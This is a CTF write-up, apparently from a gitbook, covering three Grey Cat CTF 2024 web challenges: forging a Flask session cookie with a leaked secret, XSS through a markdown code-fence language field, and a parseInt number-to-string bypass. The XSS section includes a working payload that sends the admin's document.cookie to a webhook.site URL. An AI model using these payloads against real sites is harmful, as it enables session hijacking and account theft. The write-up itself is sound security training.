> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web2-ctf/grey-cat-ctf-2024-web-challs.md).

# Grey Cat CTF 2024 (web challs)

## Table of content

* Baby Web (Flask session cookie)
* Markdown Parser (XSS in markdown)
* Greyctf Survey (parseInt issues)
* Beautiful Styles (CSS Injection)
* Fearless Concurrency
* No SQL Injection

## Baby Web (Flask session cookie)

The web app is written in Flask. Check session cookie:

```sh
flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9.ZiNV-w.Umcx64Jf6IYqXHUDpmtp3GZPSYs'
```

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FmmtE9MXGqEWqWxj4rH40%2Fimage.png?alt=media&amp;token=b3a3ced0-5415-444a-9358-564a10f6e001" alt=""><figcaption></figcaption></figure>

The secret key is given in plaintext in the source code. Flip is\_admin to True and forge Flask session cookie:

```sh
flask-unsign --sign --cookie "{'is_admin': True}" --secret 'baby-web'
```

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2F6FVnDPd9TwhJ99uQXias%2Fimage.png?alt=media&amp;token=7ad4dbb9-d53f-4529-af67-f5836d8c266c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FFHZ6nCc84HlUfHxKzXZV%2Fimage.png?alt=media&amp;token=4503cac5-fda3-4854-88fd-9034a3df2280" alt=""><figcaption></figcaption></figure>

View source code:

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FyX4PaxDm8LVnfF9olsiD%2Fimage.png?alt=media&amp;token=08f1727d-c4f8-447d-a760-04625bd7c51d" alt=""><figcaption></figcaption></figure>

Visit /flag route and get flag.

## Markdown Parser (XSS in markdown)

XSS injection point:

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FMX95DraA5CG8QtgA7T1G%2Fimage.png?alt=media&amp;token=94b37856-6379-4e26-9e39-87307bdb5776" alt=""><figcaption></figcaption></figure>

Test XSS in the `language` field:

````html
```" onmouseover="alert(1)
/* code here */
```
````

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FQCc9u0TyX75Ehilh0YAW%2Fimage.png?alt=media&amp;token=eaecf17e-11f3-4a71-8060-c23d753612cc" alt=""><figcaption></figcaption></figure>

This works since the payload is rendered as the following HTML code:

```html
<pre><code class="language-"onmouseover="alert(1)">/* code here */</code></pre>
```

See if we can trigger without using any attribute:

````html
```"></code></pre><script>alert(1)</script><pre><code>
```
````

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2F7Bgkb8rW6zs45EhEJNGw%2Fimage.png?alt=media&amp;token=4fa9b63e-8fde-4512-840f-e64d1bd19b0e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FsBNqfkDf3SLJzPSH0Mo4%2Fimage.png?alt=media&amp;token=62902052-b5b2-4f12-b4c6-f959f30d44e5" alt=""><figcaption></figcaption></figure>

It is possible to setal admin’s cookie since httpOnly flag is set to false:

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2F4eOm5SXcv6p01LRaCHoQ%2Fimage.png?alt=media&amp;token=9717ce29-2150-4ff2-a41a-17b200abbab2" alt=""><figcaption></figcaption></figure>

Use webhook:

<https://webhook.site/>

Upgrade the payload for stealing admin’s cookie:

````html
```"></code></pre><script>new Image().src="https://webhook.site/2e050fe1-0ffe-4c30-8dfa-2b0769240238/"+(document.cookie);</script><pre><code>
```
````

This payload forces the web app to send a GET request to our webhook.

Inject payload and get flag.

## Greyctf Survey (parseInt issues)

Soft spot:

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FiIKoKDUznmKIibccDKQ6%2Fimage.png?alt=media&amp;token=687449a6-1c13-4c2c-a883-cb3f2421c06c" alt=""><figcaption></figcaption></figure>

vote has must have type ‘number’, and it is between -1 and 1. Our goal is to let:

```javascript
-0.42069 + parseInt(vote) > 1
```

The problem is, `parseInt()` is designed to parse string instead of number. When you feed numbers into it, it can trigger weird behavior:

{% embed url="<https://priyankuhazarika.hashnode.dev/weird-javascript-the-strange-behaviour-of-parseint>" %}

So basically `parseInt()` converts function argument to string since we provided a number. For something like 0.09, it becomes "0.09", and it is evaluated as 0 since only the first character gets parsed. But if we provide something with many zeros like 0.00000009, it becomes "9e-8", so evaluated to 9. That breaks the assumption of the checks.

## Beautiful Styles (CSS injection)

## Fearless Concurrency

## No SQL Injection
